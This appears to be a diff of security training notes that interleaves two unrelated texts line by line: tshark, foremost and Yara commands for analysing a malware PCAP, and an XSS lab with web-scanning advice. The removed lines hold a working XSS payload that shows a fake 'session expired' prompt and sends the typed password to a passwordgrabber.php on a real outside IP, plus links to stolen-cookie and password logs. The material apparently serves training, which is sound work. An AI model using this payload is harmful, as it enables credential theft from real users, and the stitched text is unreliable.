   http://45.63.104.73/xss_practice/cookie_stealer_logs.html
1365+
tshark -i ens3 -r pizzabender.pcap -qz io,phs
1366
 
1367
tshark -r pizzabender.pcap -qz ip_hosts,tree
1368
 
1369-
The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
1369+
tshark -r pizzabender.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
1370
 
1371
tshark -r pizzabender.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
1372
 
1373
 
1374
tshark -r pizzabender.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
1375
 
1376-
############################
1376+
1377-
# A Better Way To Demo XSS #
1377+
tshark -r pizzabender.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
1378-
############################
1378+
1379
tshark -r pizzabender.pcap -qz http_req,tree
1380
 
1381-
Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
1381+
tshark -r pizzabender.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
1382
 
1383
tshark -r pizzabender.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.8.21.163 | sed -e 's/\?[^cse].*/\?\.\.\./g'
1384-
Use Firefox to browse to the following location:
1384+
1385
tshark -r pizzabender.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.8.21.163 | grep -v 239.255.255.250 | sed -e 's/\?[^cse].*/\?\.\.\./g'
1386
------------------------------------------------------------------------
1387-
   http://45.63.104.73/xss_practice/
1387+
1388
 
1389
###############################
1390
# Extracting files from PCAPs #
1391
# Note: run as regular user   #
1392-
Paste this in the search box
1392+
1393-
----------------------------
1393+
---------------------------Type this as a regular user--------------------------------- 
1394
 
1395
cd ~/pcap_analysis/extract_files
1396
1397
cp /home/ama/mta_challenge/pizzabender.pcap .
1398-
<script>
1398+
1399-
password=prompt('Your session is expired. Please enter your password to continue',' ');
1399+
rm -rf output
1400-
document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
1400+
1401-
</script>
1401+
mkdir output
1402
 
1403
foremost -v -i pizzabender.pcap
1404
 
1405-
Now view the stolen cookie at:
1405+
cd output
1406
 
1407
ls
1408-
   http://45.63.104.73/xss_practice/passwords.html
1408+
1409
cat audit.txt
1410
 
1411
cd exe
1412-
###############################################################
1412+
1413-
# Question 1: What is the process that you use when you test? #
1413+
cp ~/vtlite.py .
1414-
###############################################################
1414+
1415
for f in *.exe; do python3 vtlite.py -s $f; sleep 15; done
1416-
Step 1: Automated Testing
1416+
1417
1418-
Step 1a: Web Application vulnerability scanners
1418+
1419-
-----------------------------------------------
1419+
# PCAP Analysis with Yara   #
1420-
- Run two (2) unauthenticated vulnerability scans against the target
1420+
1421-
- Run two (2) authenticated vulnerability scans against the target with low-level user credentials
1421+
1422-
- Run two (2) authenticated vulnerability scans against the target with admin privileges
1422+
-------------------------Type this as a regular user----------------------------------
1423
cd ~/pcap_analysis/YaraPcap/
1424-
The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
1424+
1425
cp /home/ama/mta_challenge/pizzabender.pcap .
1426-
A good web application vulnerability scanner comparison website is here:
1426+
1427-
http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
1427+
1428
python yaraPcap.py rules-master/index.yar pizzabender.pcap -s mta_matching_files/
1429
 
1430-
Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
1430+
1431
cd mta_matching_files/
1432-
When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
1432+
1433
ls
1434
 
1435-
Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
1435+
cat report.txt
1436
------------------------------------------------------------------------